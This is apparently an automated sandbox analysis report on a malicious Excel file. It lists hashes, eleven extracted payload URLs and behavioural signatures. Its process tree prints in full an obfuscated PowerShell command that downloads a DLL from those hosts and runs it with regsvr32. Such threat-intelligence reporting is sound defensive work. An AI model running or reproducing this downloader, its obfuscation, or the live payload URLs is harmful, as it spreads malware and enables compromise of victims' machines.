Analysis
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max time kernel
133s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/11/2024, 11:27
Behavioral task
behavioral1
Sample
57eccef095dbdf98b1740c881782326d85690871d3003fca6ac2839171875842.xls
Resource
win7-20240903-en
General
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Target
57eccef095dbdf98b1740c881782326d85690871d3003fca6ac2839171875842.xls
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Size
88KB
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MD5
02f3945f116f3519ba94d6f74ea48c2d
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SHA1
09d4bcf9e14bf7caca2d4ebefb474d7e756eb515
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SHA256
57eccef095dbdf98b1740c881782326d85690871d3003fca6ac2839171875842
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SHA512
662b373ee42e4a1b0a5abec640dcf99423a682f4b7329f2c3e68f0b548a65a3c2824e5b38cca7d0069a063abb6da2b3ddbd13258c1597af40935f73e1a988655
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SSDEEP
1536:iyehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQAgkWvgrPE4nWHPNc2AF:iyehv7q2Pjx45uoDGTj+5xtekEvi8/dM
Malware Config
Extracted
http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/
https://1566xueshe.com/wp-includes/z92ZVqHH8/
http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/
http://o2omart.co.in/infructuose/m4mgt2MeU/
http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/
http://www.ama.cu/jpr/VVP/
http://actividades.laforetlanguages.com/wp-admin/dU8Ds/
https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/
https://edu-media.cn/wp-admin/0JAE/
https://iacademygroup.cl/office/G42LJPLkl/
https://znzhou.top/mode/0Qb/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3660 520 wscript.exe 82 -
Blocklisted process makes network request 7 IoCs
flow pid Process 24 3840 powershell.exe 34 3840 powershell.exe 38 3840 powershell.exe 55 3840 powershell.exe 57 3840 powershell.exe 64 3840 powershell.exe 70 3840 powershell.exe -
pid Process 3840 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 520 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3840 powershell.exe 3840 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3840 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE 520 EXCEL.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 520 wrote to memory of 3660 520 EXCEL.EXE 86 PID 520 wrote to memory of 3660 520 EXCEL.EXE 86 PID 3660 wrote to memory of 3840 3660 wscript.exe 87 PID 3660 wrote to memory of 3840 3660 wscript.exe 87 PID 3660 wrote to memory of 1504 3660 wscript.exe 103 PID 3660 wrote to memory of 1504 3660 wscript.exe 103 PID 1504 wrote to memory of 4384 1504 cmd.exe 105 PID 1504 wrote to memory of 4384 1504 cmd.exe 105 PID 1504 wrote to memory of 4384 1504 cmd.exe 105
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\57eccef095dbdf98b1740c881782326d85690871d3003fca6ac2839171875842.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\bbiwjdf.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll3⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
\??\c:\windows\syswow64\regsvr32.exec:\windows\syswow64\regsvr32.exe /s c:\programdata\oiphilfj.dll4⤵
- System Location Discovery: System Language Discovery
PID:4384
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5b457cab87a3cd0ffdf272cafcdafeae4
SHA15b8414d0676cae34abc3bb69dd870dc61f3889d7
SHA256f72edadacf8bc277a76ff62e4893d8e5a20a081f7be45b4d3e187ed8b3d22fa3
SHA5122455b99bca6c0247af2e0b4d3ce406ad3aac35efe9bdc2c348218ca5a3e0a6ee7835cd470600da9802358c6a93bd070762e458515df3bbef0970f4efff80c81f
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Filesize
1KB
MD57baad56cc483132b8b9cb7a14722c3b1
SHA1602f7933c443765697bb178ca137f17f81856f0d
SHA25631cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee
SHA512b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f